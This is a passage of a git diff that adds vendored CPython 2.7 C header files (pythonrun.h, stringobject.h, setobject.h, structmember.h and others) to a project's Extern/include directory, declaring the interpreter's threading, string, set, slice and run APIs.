PyGILState_Ensure(void); + +/* Release any resources previously acquired. After this call, Python's + state will be the same as it was prior to the corresponding + PyGILState_Ensure() call (but generally this state will be unknown to + the caller, hence the use of the GILState API.) + + Every call to PyGILState_Ensure must be matched by a call to + PyGILState_Release on the same thread. +*/ +PyAPI_FUNC(void) PyGILState_Release(PyGILState_STATE); + +/* Helper/diagnostic function - get the current thread state for + this thread. May return NULL if no GILState API has been used + on the current thread. Note the main thread always has such a + thread-state, even if no auto-thread-state call has been made + on the main thread. +*/ +PyAPI_FUNC(PyThreadState *) PyGILState_GetThisThreadState(void); + +/* The implementation of sys._current_frames() Returns a dict mapping + thread id to that thread's current frame. +*/ +PyAPI_FUNC(PyObject *) _PyThread_CurrentFrames(void); + +/* Routines for advanced debuggers, requested by David Beazley. + Don't use unless you know what you are doing! */ +PyAPI_FUNC(PyInterpreterState *) PyInterpreterState_Head(void); +PyAPI_FUNC(PyInterpreterState *) PyInterpreterState_Next(PyInterpreterState *); +PyAPI_FUNC(PyThreadState *) PyInterpreterState_ThreadHead(PyInterpreterState *); +PyAPI_FUNC(PyThreadState *) PyThreadState_Next(PyThreadState *); + +typedef struct _frame *(*PyThreadFrameGetter)(PyThreadState *self_); + +/* hook for PyEval_GetFrame(), requested for Psyco */ +PyAPI_DATA(PyThreadFrameGetter) _PyThreadState_GetFrame; + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PYSTATE_H */ diff --git a/Extern/include/Python27/pystrcmp.h b/Extern/include/Python27/pystrcmp.h new file mode 100644 index 0000000..369c7e7 --- /dev/null +++ b/Extern/include/Python27/pystrcmp.h @@ -0,0 +1,23 @@ +#ifndef Py_STRCMP_H +#define Py_STRCMP_H + +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(int) PyOS_mystrnicmp(const char *, const char *, Py_ssize_t); +PyAPI_FUNC(int) PyOS_mystricmp(const char *, const char *); + +#if defined(MS_WINDOWS) || defined(PYOS_OS2) +#define PyOS_strnicmp strnicmp +#define PyOS_stricmp stricmp +#else +#define PyOS_strnicmp PyOS_mystrnicmp +#define PyOS_stricmp PyOS_mystricmp +#endif + +#ifdef __cplusplus +} +#endif + +#endif /* !Py_STRCMP_H */ diff --git a/Extern/include/Python27/pystrtod.h b/Extern/include/Python27/pystrtod.h new file mode 100644 index 0000000..eec434f --- /dev/null +++ b/Extern/include/Python27/pystrtod.h @@ -0,0 +1,45 @@ +#ifndef Py_STRTOD_H +#define Py_STRTOD_H + +#ifdef __cplusplus +extern "C" { +#endif + + +PyAPI_FUNC(double) PyOS_ascii_strtod(const char *str, char **ptr); +PyAPI_FUNC(double) PyOS_ascii_atof(const char *str); + +/* Deprecated in 2.7 and 3.1. Will disappear in 2.8 (if it exists) and 3.2 */ +PyAPI_FUNC(char *) PyOS_ascii_formatd(char *buffer, size_t buf_len, + const char *format, double d); +PyAPI_FUNC(double) PyOS_string_to_double(const char *str, + char **endptr, + PyObject *overflow_exception); + +/* The caller is responsible for calling PyMem_Free to free the buffer + that's is returned. */ +PyAPI_FUNC(char *) PyOS_double_to_string(double val, + char format_code, + int precision, + int flags, + int *type); + +PyAPI_FUNC(double) _Py_parse_inf_or_nan(const char *p, char **endptr); + + +/* PyOS_double_to_string's "flags" parameter can be set to 0 or more of: */ +#define Py_DTSF_SIGN 0x01 /* always add the sign */ +#define Py_DTSF_ADD_DOT_0 0x02 /* if the result is an integer add ".0" */ +#define Py_DTSF_ALT 0x04 /* "alternate" formatting. it's format_code + specific */ + +/* PyOS_double_to_string's "type", if non-NULL, will be set to one of: */ +#define Py_DTST_FINITE 0 +#define Py_DTST_INFINITE 1 +#define Py_DTST_NAN 2 + +#ifdef __cplusplus +} +#endif + +#endif /* !Py_STRTOD_H */ diff --git a/Extern/include/Python27/pythonrun.h b/Extern/include/Python27/pythonrun.h new file mode 100644 index 0000000..f8ed718 --- /dev/null +++ b/Extern/include/Python27/pythonrun.h @@ -0,0 +1,176 @@ + +/* Interfaces to parse and execute pieces of python code */ + +#ifndef Py_PYTHONRUN_H +#define Py_PYTHONRUN_H +#ifdef __cplusplus +extern "C" { +#endif + +#define PyCF_MASK (CO_FUTURE_DIVISION | CO_FUTURE_ABSOLUTE_IMPORT | \ + CO_FUTURE_WITH_STATEMENT | CO_FUTURE_PRINT_FUNCTION | \ + CO_FUTURE_UNICODE_LITERALS) +#define PyCF_MASK_OBSOLETE (CO_NESTED) +#define PyCF_SOURCE_IS_UTF8 0x0100 +#define PyCF_DONT_IMPLY_DEDENT 0x0200 +#define PyCF_ONLY_AST 0x0400 + +typedef struct { + int cf_flags; /* bitmask of CO_xxx flags relevant to future */ +} PyCompilerFlags; + +PyAPI_FUNC(void) Py_SetProgramName(char *); +PyAPI_FUNC(char *) Py_GetProgramName(void); + +PyAPI_FUNC(void) Py_SetPythonHome(char *); +PyAPI_FUNC(char *) Py_GetPythonHome(void); + +PyAPI_FUNC(void) Py_Initialize(void); +PyAPI_FUNC(void) Py_InitializeEx(int); +PyAPI_FUNC(void) Py_Finalize(void); +PyAPI_FUNC(int) Py_IsInitialized(void); +PyAPI_FUNC(PyThreadState *) Py_NewInterpreter(void); +PyAPI_FUNC(void) Py_EndInterpreter(PyThreadState *); + +PyAPI_FUNC(int) PyRun_AnyFileFlags(FILE *, const char *, PyCompilerFlags *); +PyAPI_FUNC(int) PyRun_AnyFileExFlags(FILE *, const char *, int, PyCompilerFlags *); +PyAPI_FUNC(int) PyRun_SimpleStringFlags(const char *, PyCompilerFlags *); +PyAPI_FUNC(int) PyRun_SimpleFileExFlags(FILE *, const char *, int, PyCompilerFlags *); +PyAPI_FUNC(int) PyRun_InteractiveOneFlags(FILE *, const char *, PyCompilerFlags *); +PyAPI_FUNC(int) PyRun_InteractiveLoopFlags(FILE *, const char *, PyCompilerFlags *); + +PyAPI_FUNC(struct _mod *) PyParser_ASTFromString(const char *, const char *, + int, PyCompilerFlags *flags, + PyArena *); +PyAPI_FUNC(struct _mod *) PyParser_ASTFromFile(FILE *, const char *, int, + char *, char *, + PyCompilerFlags *, int *, + PyArena *); +#define PyParser_SimpleParseString(S, B) \ + PyParser_SimpleParseStringFlags(S, B, 0) +#define PyParser_SimpleParseFile(FP, S, B) \ + PyParser_SimpleParseFileFlags(FP, S, B, 0) +PyAPI_FUNC(struct _node *) PyParser_SimpleParseStringFlags(const char *, int, + int); +PyAPI_FUNC(struct _node *) PyParser_SimpleParseFileFlags(FILE *, const char *, + int, int); + +PyAPI_FUNC(PyObject *) PyRun_StringFlags(const char *, int, PyObject *, + PyObject *, PyCompilerFlags *); + +PyAPI_FUNC(PyObject *) PyRun_FileExFlags(FILE *, const char *, int, + PyObject *, PyObject *, int, + PyCompilerFlags *); + +#define Py_CompileString(str, p, s) Py_CompileStringFlags(str, p, s, NULL) +PyAPI_FUNC(PyObject *) Py_CompileStringFlags(const char *, const char *, int, + PyCompilerFlags *); +PyAPI_FUNC(struct symtable *) Py_SymtableString(const char *, const char *, int); + +PyAPI_FUNC(void) PyErr_Print(void); +PyAPI_FUNC(void) PyErr_PrintEx(int); +PyAPI_FUNC(void) PyErr_Display(PyObject *, PyObject *, PyObject *); + +PyAPI_FUNC(int) Py_AtExit(void (*func)(void)); + +PyAPI_FUNC(void) Py_Exit(int); + +PyAPI_FUNC(int) Py_FdIsInteractive(FILE *, const char *); + +/* Bootstrap */ +PyAPI_FUNC(int) Py_Main(int argc, char **argv); + +/* Use macros for a bunch of old variants */ +#define PyRun_String(str, s, g, l) PyRun_StringFlags(str, s, g, l, NULL) +#define PyRun_AnyFile(fp, name) PyRun_AnyFileExFlags(fp, name, 0, NULL) +#define PyRun_AnyFileEx(fp, name, closeit) \ + PyRun_AnyFileExFlags(fp, name, closeit, NULL) +#define PyRun_AnyFileFlags(fp, name, flags) \ + PyRun_AnyFileExFlags(fp, name, 0, flags) +#define PyRun_SimpleString(s) PyRun_SimpleStringFlags(s, NULL) +#define PyRun_SimpleFile(f, p) PyRun_SimpleFileExFlags(f, p, 0, NULL) +#define PyRun_SimpleFileEx(f, p, c) PyRun_SimpleFileExFlags(f, p, c, NULL) +#define PyRun_InteractiveOne(f, p) PyRun_InteractiveOneFlags(f, p, NULL) +#define PyRun_InteractiveLoop(f, p) PyRun_InteractiveLoopFlags(f, p, NULL) +#define PyRun_File(fp, p, s, g, l) \ + PyRun_FileExFlags(fp, p, s, g, l, 0, NULL) +#define PyRun_FileEx(fp, p, s, g, l, c) \ + PyRun_FileExFlags(fp, p, s, g, l, c, NULL) +#define PyRun_FileFlags(fp, p, s, g, l, flags) \ + PyRun_FileExFlags(fp, p, s, g, l, 0, flags) + +/* In getpath.c */ +PyAPI_FUNC(char *) Py_GetProgramFullPath(void); +PyAPI_FUNC(char *) Py_GetPrefix(void); +PyAPI_FUNC(char *) Py_GetExecPrefix(void); +PyAPI_FUNC(char *) Py_GetPath(void); + +/* In their own files */ +PyAPI_FUNC(const char *) Py_GetVersion(void); +PyAPI_FUNC(const char *) Py_GetPlatform(void); +PyAPI_FUNC(const char *) Py_GetCopyright(void); +PyAPI_FUNC(const char *) Py_GetCompiler(void); +PyAPI_FUNC(const char *) Py_GetBuildInfo(void); +PyAPI_FUNC(const char *) _Py_svnversion(void); +PyAPI_FUNC(const char *) Py_SubversionRevision(void); +PyAPI_FUNC(const char *) Py_SubversionShortBranch(void); + +/* Internal -- various one-time initializations */ +PyAPI_FUNC(PyObject *) _PyBuiltin_Init(void); +PyAPI_FUNC(PyObject *) _PySys_Init(void); +PyAPI_FUNC(void) _PyImport_Init(void); +PyAPI_FUNC(void) _PyExc_Init(void); +PyAPI_FUNC(void) _PyImportHooks_Init(void); +PyAPI_FUNC(int) _PyFrame_Init(void); +PyAPI_FUNC(int) _PyInt_Init(void); +PyAPI_FUNC(int) _PyLong_Init(void); +PyAPI_FUNC(void) _PyFloat_Init(void); +PyAPI_FUNC(int) PyByteArray_Init(void); + +/* Various internal finalizers */ +PyAPI_FUNC(void) _PyExc_Fini(void); +PyAPI_FUNC(void) _PyImport_Fini(void); +PyAPI_FUNC(void) PyMethod_Fini(void); +PyAPI_FUNC(void) PyFrame_Fini(void); +PyAPI_FUNC(void) PyCFunction_Fini(void); +PyAPI_FUNC(void) PyDict_Fini(void); +PyAPI_FUNC(void) PyTuple_Fini(void); +PyAPI_FUNC(void) PyList_Fini(void); +PyAPI_FUNC(void) PySet_Fini(void); +PyAPI_FUNC(void) PyString_Fini(void); +PyAPI_FUNC(void) PyInt_Fini(void); +PyAPI_FUNC(void) PyFloat_Fini(void); +PyAPI_FUNC(void) PyOS_FiniInterrupts(void); +PyAPI_FUNC(void) PyByteArray_Fini(void); + +/* Stuff with no proper home (yet) */ +PyAPI_FUNC(char *) PyOS_Readline(FILE *, FILE *, char *); +PyAPI_DATA(int) (*PyOS_InputHook)(void); +PyAPI_DATA(char) *(*PyOS_ReadlineFunctionPointer)(FILE *, FILE *, char *); +PyAPI_DATA(PyThreadState*) _PyOS_ReadlineTState; + +/* Stack size, in "pointers" (so we get extra safety margins + on 64-bit platforms). On a 32-bit platform, this translates + to a 8k margin. */ +#define PYOS_STACK_MARGIN 2048 + +#if defined(WIN32) && !defined(MS_WIN64) && defined(_MSC_VER) && _MSC_VER >= 1300 +/* Enable stack checking under Microsoft C */ +#define USE_STACKCHECK +#endif + +#ifdef USE_STACKCHECK +/* Check that we aren't overflowing our stack */ +PyAPI_FUNC(int) PyOS_CheckStack(void); +#endif + +/* Signals */ +typedef void (*PyOS_sighandler_t)(int); +PyAPI_FUNC(PyOS_sighandler_t) PyOS_getsig(int); +PyAPI_FUNC(PyOS_sighandler_t) PyOS_setsig(int, PyOS_sighandler_t); + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_PYTHONRUN_H */ diff --git a/Extern/include/Python27/pythread.h b/Extern/include/Python27/pythread.h new file mode 100644 index 0000000..dfd6157 --- /dev/null +++ b/Extern/include/Python27/pythread.h @@ -0,0 +1,41 @@ + +#ifndef Py_PYTHREAD_H +#define Py_PYTHREAD_H + +typedef void *PyThread_type_lock; +typedef void *PyThread_type_sema; + +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(void) PyThread_init_thread(void); +PyAPI_FUNC(long) PyThread_start_new_thread(void (*)(void *), void *); +PyAPI_FUNC(void) PyThread_exit_thread(void); +PyAPI_FUNC(long) PyThread_get_thread_ident(void); + +PyAPI_FUNC(PyThread_type_lock) PyThread_allocate_lock(void); +PyAPI_FUNC(void) PyThread_free_lock(PyThread_type_lock); +PyAPI_FUNC(int) PyThread_acquire_lock(PyThread_type_lock, int); +#define WAIT_LOCK 1 +#define NOWAIT_LOCK 0 +PyAPI_FUNC(void) PyThread_release_lock(PyThread_type_lock); + +PyAPI_FUNC(size_t) PyThread_get_stacksize(void); +PyAPI_FUNC(int) PyThread_set_stacksize(size_t); + +/* Thread Local Storage (TLS) API */ +PyAPI_FUNC(int) PyThread_create_key(void); +PyAPI_FUNC(void) PyThread_delete_key(int); +PyAPI_FUNC(int) PyThread_set_key_value(int, void *); +PyAPI_FUNC(void *) PyThread_get_key_value(int); +PyAPI_FUNC(void) PyThread_delete_key_value(int key); + +/* Cleanup after a fork */ +PyAPI_FUNC(void) PyThread_ReInitTLS(void); + +#ifdef __cplusplus +} +#endif + +#endif /* !Py_PYTHREAD_H */ diff --git a/Extern/include/Python27/rangeobject.h b/Extern/include/Python27/rangeobject.h new file mode 100644 index 0000000..36c9cee --- /dev/null +++ b/Extern/include/Python27/rangeobject.h @@ -0,0 +1,28 @@ + +/* Range object interface */ + +#ifndef Py_RANGEOBJECT_H +#define Py_RANGEOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +/* This is about the type 'xrange', not the built-in function range(), which + returns regular lists. */ + +/* +A range object represents an integer range. This is an immutable object; +a range cannot change its value after creation. + +Range objects behave like the corresponding tuple objects except that +they are represented by a start, stop, and step datamembers. +*/ + +PyAPI_DATA(PyTypeObject) PyRange_Type; + +#define PyRange_Check(op) (Py_TYPE(op) == &PyRange_Type) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_RANGEOBJECT_H */ diff --git a/Extern/include/Python27/setobject.h b/Extern/include/Python27/setobject.h new file mode 100644 index 0000000..52b07d5 --- /dev/null +++ b/Extern/include/Python27/setobject.h @@ -0,0 +1,99 @@ +/* Set object interface */ + +#ifndef Py_SETOBJECT_H +#define Py_SETOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* +There are three kinds of slots in the table: + +1. Unused: key == NULL +2. Active: key != NULL and key != dummy +3. Dummy: key == dummy + +Note: .pop() abuses the hash field of an Unused or Dummy slot to +hold a search finger. The hash field of Unused or Dummy slots has +no meaning otherwise. +*/ + +#define PySet_MINSIZE 8 + +typedef struct { + long hash; /* cached hash code for the entry key */ + PyObject *key; +} setentry; + + +/* +This data structure is shared by set and frozenset objects. +*/ + +typedef struct _setobject PySetObject; +struct _setobject { + PyObject_HEAD + + Py_ssize_t fill; /* # Active + # Dummy */ + Py_ssize_t used; /* # Active */ + + /* The table contains mask + 1 slots, and that's a power of 2. + * We store the mask instead of the size because the mask is more + * frequently needed. + */ + Py_ssize_t mask; + + /* table points to smalltable for small tables, else to + * additional malloc'ed memory. table is never NULL! This rule + * saves repeated runtime null-tests. + */ + setentry *table; + setentry *(*lookup)(PySetObject *so, PyObject *key, long hash); + setentry smalltable[PySet_MINSIZE]; + + long hash; /* only used by frozenset objects */ + PyObject *weakreflist; /* List of weak references */ +}; + +PyAPI_DATA(PyTypeObject) PySet_Type; +PyAPI_DATA(PyTypeObject) PyFrozenSet_Type; + +/* Invariants for frozensets: + * data is immutable. + * hash is the hash of the frozenset or -1 if not computed yet. + * Invariants for sets: + * hash is -1 + */ + +#define PyFrozenSet_CheckExact(ob) (Py_TYPE(ob) == &PyFrozenSet_Type) +#define PyAnySet_CheckExact(ob) \ + (Py_TYPE(ob) == &PySet_Type || Py_TYPE(ob) == &PyFrozenSet_Type) +#define PyAnySet_Check(ob) \ + (Py_TYPE(ob) == &PySet_Type || Py_TYPE(ob) == &PyFrozenSet_Type || \ + PyType_IsSubtype(Py_TYPE(ob), &PySet_Type) || \ + PyType_IsSubtype(Py_TYPE(ob), &PyFrozenSet_Type)) +#define PySet_Check(ob) \ + (Py_TYPE(ob) == &PySet_Type || \ + PyType_IsSubtype(Py_TYPE(ob), &PySet_Type)) +#define PyFrozenSet_Check(ob) \ + (Py_TYPE(ob) == &PyFrozenSet_Type || \ + PyType_IsSubtype(Py_TYPE(ob), &PyFrozenSet_Type)) + +PyAPI_FUNC(PyObject *) PySet_New(PyObject *); +PyAPI_FUNC(PyObject *) PyFrozenSet_New(PyObject *); +PyAPI_FUNC(Py_ssize_t) PySet_Size(PyObject *anyset); +#define PySet_GET_SIZE(so) (((PySetObject *)(so))->used) +PyAPI_FUNC(int) PySet_Clear(PyObject *set); +PyAPI_FUNC(int) PySet_Contains(PyObject *anyset, PyObject *key); +PyAPI_FUNC(int) PySet_Discard(PyObject *set, PyObject *key); +PyAPI_FUNC(int) PySet_Add(PyObject *set, PyObject *key); +PyAPI_FUNC(int) _PySet_Next(PyObject *set, Py_ssize_t *pos, PyObject **key); +PyAPI_FUNC(int) _PySet_NextEntry(PyObject *set, Py_ssize_t *pos, PyObject **key, long *hash); +PyAPI_FUNC(PyObject *) PySet_Pop(PyObject *set); +PyAPI_FUNC(int) _PySet_Update(PyObject *set, PyObject *iterable); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_SETOBJECT_H */ diff --git a/Extern/include/Python27/sliceobject.h b/Extern/include/Python27/sliceobject.h new file mode 100644 index 0000000..8ab62dd --- /dev/null +++ b/Extern/include/Python27/sliceobject.h @@ -0,0 +1,44 @@ +#ifndef Py_SLICEOBJECT_H +#define Py_SLICEOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +/* The unique ellipsis object "..." */ + +PyAPI_DATA(PyObject) _Py_EllipsisObject; /* Don't use this directly */ + +#define Py_Ellipsis (&_Py_EllipsisObject) + +/* Slice object interface */ + +/* + +A slice object containing start, stop, and step data members (the +names are from range). After much talk with Guido, it was decided to +let these be any arbitrary python type. Py_None stands for omitted values. +*/ + +typedef struct { + PyObject_HEAD + PyObject *start, *stop, *step; /* not NULL */ +} PySliceObject; + +PyAPI_DATA(PyTypeObject) PySlice_Type; +PyAPI_DATA(PyTypeObject) PyEllipsis_Type; + +#define PySlice_Check(op) (Py_TYPE(op) == &PySlice_Type) + +PyAPI_FUNC(PyObject *) PySlice_New(PyObject* start, PyObject* stop, + PyObject* step); +PyAPI_FUNC(PyObject *) _PySlice_FromIndices(Py_ssize_t start, Py_ssize_t stop); +PyAPI_FUNC(int) PySlice_GetIndices(PySliceObject *r, Py_ssize_t length, + Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step); +PyAPI_FUNC(int) PySlice_GetIndicesEx(PySliceObject *r, Py_ssize_t length, + Py_ssize_t *start, Py_ssize_t *stop, + Py_ssize_t *step, Py_ssize_t *slicelength); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_SLICEOBJECT_H */ diff --git a/Extern/include/Python27/stringobject.h b/Extern/include/Python27/stringobject.h new file mode 100644 index 0000000..18b5b41 --- /dev/null +++ b/Extern/include/Python27/stringobject.h @@ -0,0 +1,210 @@ + +/* String (str/bytes) object interface */ + +#ifndef Py_STRINGOBJECT_H +#define Py_STRINGOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +#include + +/* +Type PyStringObject represents a character string. An extra zero byte is +reserved at the end to ensure it is zero-terminated, but a size is +present so strings with null bytes in them can be represented. This +is an immutable object type. + +There are functions to create new string objects, to test +an object for string-ness, and to get the +string value. The latter function returns a null pointer +if the object is not of the proper type. +There is a variant that takes an explicit size as well as a +variant that assumes a zero-terminated string. Note that none of the +functions should be applied to nil objects. +*/ + +/* Caching the hash (ob_shash) saves recalculation of a string's hash value. + Interning strings (ob_sstate) tries to ensure that only one string + object with a given value exists, so equality tests can be one pointer + comparison. This is generally restricted to strings that "look like" + Python identifiers, although the intern() builtin can be used to force + interning of any string. + Together, these sped the interpreter by up to 20%. */ + +typedef struct { + PyObject_VAR_HEAD + long ob_shash; + int ob_sstate; + char ob_sval[1]; + + /* Invariants: + * ob_sval contains space for 'ob_size+1' elements. + * ob_sval[ob_size] == 0. + * ob_shash is the hash of the string or -1 if not computed yet. + * ob_sstate != 0 iff the string object is in stringobject.c's + * 'interned' dictionary; in this case the two references + * from 'interned' to this object are *not counted* in ob_refcnt. + */ +} PyStringObject; + +#define SSTATE_NOT_INTERNED 0 +#define SSTATE_INTERNED_MORTAL 1 +#define SSTATE_INTERNED_IMMORTAL 2 + +PyAPI_DATA(PyTypeObject) PyBaseString_Type; +PyAPI_DATA(PyTypeObject) PyString_Type; + +#define PyString_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_STRING_SUBCLASS) +#define PyString_CheckExact(op) (Py_TYPE(op) == &PyString_Type) + +PyAPI_FUNC(PyObject *) PyString_FromStringAndSize(const char *, Py_ssize_t); +PyAPI_FUNC(PyObject *) PyString_FromString(const char *); +PyAPI_FUNC(PyObject *) PyString_FromFormatV(const char*, va_list) + Py_GCC_ATTRIBUTE((format(printf, 1, 0))); +PyAPI_FUNC(PyObject *) PyString_FromFormat(const char*, ...) + Py_GCC_ATTRIBUTE((format(printf, 1, 2))); +PyAPI_FUNC(Py_ssize_t) PyString_Size(PyObject *); +PyAPI_FUNC(char *) PyString_AsString(PyObject *); +PyAPI_FUNC(PyObject *) PyString_Repr(PyObject *, int); +PyAPI_FUNC(void) PyString_Concat(PyObject **, PyObject *); +PyAPI_FUNC(void) PyString_ConcatAndDel(PyObject **, PyObject *); +PyAPI_FUNC(int) _PyString_Resize(PyObject **, Py_ssize_t); +PyAPI_FUNC(int) _PyString_Eq(PyObject *, PyObject*); +PyAPI_FUNC(PyObject *) PyString_Format(PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) _PyString_FormatLong(PyObject*, int, int, + int, char**, int*); +PyAPI_FUNC(PyObject *) PyString_DecodeEscape(const char *, Py_ssize_t, + const char *, Py_ssize_t, + const char *); + +PyAPI_FUNC(void) PyString_InternInPlace(PyObject **); +PyAPI_FUNC(void) PyString_InternImmortal(PyObject **); +PyAPI_FUNC(PyObject *) PyString_InternFromString(const char *); +PyAPI_FUNC(void) _Py_ReleaseInternedStrings(void); + +/* Use only if you know it's a string */ +#define PyString_CHECK_INTERNED(op) (((PyStringObject *)(op))->ob_sstate) + +/* Macro, trading safety for speed */ +#define PyString_AS_STRING(op) (((PyStringObject *)(op))->ob_sval) +#define PyString_GET_SIZE(op) Py_SIZE(op) + +/* _PyString_Join(sep, x) is like sep.join(x). sep must be PyStringObject*, + x must be an iterable object. */ +PyAPI_FUNC(PyObject *) _PyString_Join(PyObject *sep, PyObject *x); + +/* --- Generic Codecs ----------------------------------------------------- */ + +/* Create an object by decoding the encoded string s of the + given size. */ + +PyAPI_FUNC(PyObject*) PyString_Decode( + const char *s, /* encoded string */ + Py_ssize_t size, /* size of buffer */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Encodes a char buffer of the given size and returns a + Python object. */ + +PyAPI_FUNC(PyObject*) PyString_Encode( + const char *s, /* string char buffer */ + Py_ssize_t size, /* number of chars to encode */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Encodes a string object and returns the result as Python + object. */ + +PyAPI_FUNC(PyObject*) PyString_AsEncodedObject( + PyObject *str, /* string object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Encodes a string object and returns the result as Python string + object. + + If the codec returns an Unicode object, the object is converted + back to a string using the default encoding. + + DEPRECATED - use PyString_AsEncodedObject() instead. */ + +PyAPI_FUNC(PyObject*) PyString_AsEncodedString( + PyObject *str, /* string object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Decodes a string object and returns the result as Python + object. */ + +PyAPI_FUNC(PyObject*) PyString_AsDecodedObject( + PyObject *str, /* string object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Decodes a string object and returns the result as Python string + object. + + If the codec returns an Unicode object, the object is converted + back to a string using the default encoding. + + DEPRECATED - use PyString_AsDecodedObject() instead. */ + +PyAPI_FUNC(PyObject*) PyString_AsDecodedString( + PyObject *str, /* string object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Provides access to the internal data buffer and size of a string + object or the default encoded version of an Unicode object. Passing + NULL as *len parameter will force the string buffer to be + 0-terminated (passing a string with embedded NULL characters will + cause an exception). */ + +PyAPI_FUNC(int) PyString_AsStringAndSize( + register PyObject *obj, /* string or Unicode object */ + register char **s, /* pointer to buffer variable */ + register Py_ssize_t *len /* pointer to length variable or NULL + (only possible for 0-terminated + strings) */ + ); + + +/* Using the current locale, insert the thousands grouping + into the string pointed to by buffer. For the argument descriptions, + see Objects/stringlib/localeutil.h */ +PyAPI_FUNC(Py_ssize_t) _PyString_InsertThousandsGroupingLocale(char *buffer, + Py_ssize_t n_buffer, + char *digits, + Py_ssize_t n_digits, + Py_ssize_t min_width); + +/* Using explicit passed-in values, insert the thousands grouping + into the string pointed to by buffer. For the argument descriptions, + see Objects/stringlib/localeutil.h */ +PyAPI_FUNC(Py_ssize_t) _PyString_InsertThousandsGrouping(char *buffer, + Py_ssize_t n_buffer, + char *digits, + Py_ssize_t n_digits, + Py_ssize_t min_width, + const char *grouping, + const char *thousands_sep); + +/* Format the object based on the format_spec, as defined in PEP 3101 + (Advanced String Formatting). */ +PyAPI_FUNC(PyObject *) _PyBytes_FormatAdvanced(PyObject *obj, + char *format_spec, + Py_ssize_t format_spec_len); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_STRINGOBJECT_H */ diff --git a/Extern/include/Python27/structmember.h b/Extern/include/Python27/structmember.h new file mode 100644 index 0000000..fe5b44e --- /dev/null +++ b/Extern/include/Python27/structmember.h @@ -0,0 +1,99 @@ +#ifndef Py_STRUCTMEMBER_H +#define Py_STRUCTMEMBER_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Interface to map C struct members to Python object attributes */ + +#include /* For offsetof */ + +/* The offsetof() macro calculates the offset of a structure member + in its structure. Unfortunately this cannot be written down + portably, hence it is provided by a Standard C header file. + For pre-Standard C compilers, here is a version that usually works + (but watch out!): */ + +#ifndef offsetof +#define offsetof(type, member) ( (int) & ((type*)0) -> member ) +#endif + +/* An array of memberlist structures defines the name, type and offset + of selected members of a C structure. These can be read by + PyMember_Get() and set by PyMember_Set() (except if their READONLY flag + is set). The array must be terminated with an entry whose name + pointer is NULL. */ + +struct memberlist { + /* Obsolete version, for binary backwards compatibility */ + char *name; + int type; + int offset; + int flags; +}; + +typedef struct PyMemberDef { + /* Current version, use this */ + char *name; + int type; + Py_ssize_t offset; + int flags; + char *doc; +} PyMemberDef; + +/* Types */ +#define T_SHORT 0 +#define T_INT 1 +#define T_LONG 2 +#define T_FLOAT 3 +#define T_DOUBLE 4 +#define T_STRING 5 +#define T_OBJECT 6 +/* XXX the ordering here is weird for binary compatibility */ +#define T_CHAR 7 /* 1-character string */ +#define T_BYTE 8 /* 8-bit signed int */ +/* unsigned variants: */ +#define T_UBYTE 9 +#define T_USHORT 10 +#define T_UINT 11 +#define T_ULONG 12 + +/* Added by Jack: strings contained in the structure */ +#define T_STRING_INPLACE 13 + +/* Added by Lillo: bools contained in the structure (assumed char) */ +#define T_BOOL 14 + +#define T_OBJECT_EX 16 /* Like T_OBJECT, but raises AttributeError + when the value is NULL, instead of + converting to None. */ +#ifdef HAVE_LONG_LONG +#define T_LONGLONG 17 +#define T_ULONGLONG 18 +#endif /* HAVE_LONG_LONG */ + +#define T_PYSSIZET 19 /* Py_ssize_t */ + + +/* Flags */ +#define READONLY 1 +#define RO READONLY /* Shorthand */ +#define READ_RESTRICTED 2 +#define PY_WRITE_RESTRICTED 4 +#define RESTRICTED (READ_RESTRICTED | PY_WRITE_RESTRICTED) + + +/* Obsolete API, for binary backwards compatibility */ +PyAPI_FUNC(PyObject *) PyMember_Get(const char *, struct memberlist *, const char *); +PyAPI_FUNC(int) PyMember_Set(char *, struct memberlist *, const char *, PyObject *); + +/* Current API, use this */ +PyAPI_FUNC(PyObject *) PyMember_GetOne(const char *, struct PyMemberDef *); +PyAPI_FUNC(int) PyMember_SetOne(char *, struct PyMemberDef *, PyObject *); + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_STRUCTMEMBER_H */ diff --git a/Extern/include/Python27/structseq.h b/Extern/include/Python27/structseq.h new file mode 100644 index 0000000..e662916 --- /dev/null +++ b/Extern/include/Python27/structseq.h @@ -0,0 +1,41 @@ + +/* Tuple object interface */ + +#ifndef Py_STRUCTSEQ_H +#define Py_STRUCTSEQ_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct PyStructSequence_Field { + char *name; + char *doc; +} PyStructSequence_Field; + +typedef struct PyStructSequence_Desc { + char *name; + char *doc; + struct PyStructSequence_Field *fields; + int n_in_sequence; +} PyStructSequence_Desc; + +extern char* PyStructSequence_UnnamedField; + +PyAPI_FUNC(void) PyStructSequence_InitType(PyTypeObject *type, + PyStructSequence_Desc *desc); + +PyAPI_FUNC(PyObject *) PyStructSequence_New(PyTypeObject* type); + +typedef struct { + PyObject_VAR_HEAD + PyObject *ob_item[1]; +} PyStructSequence; + +/* Macro, *only* to be used to fill in brand new objects */ +#define PyStructSequence_SET_ITEM(op, i, v) \ + (((PyStructSequence *)(op))->ob_item[i] = v) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_STRUCTSEQ_H */ diff --git a/Extern/include/Python27/symtable.h b/Extern/include/Python27/symtable.h new file mode 100644 index 0000000..e0a0be4 --- 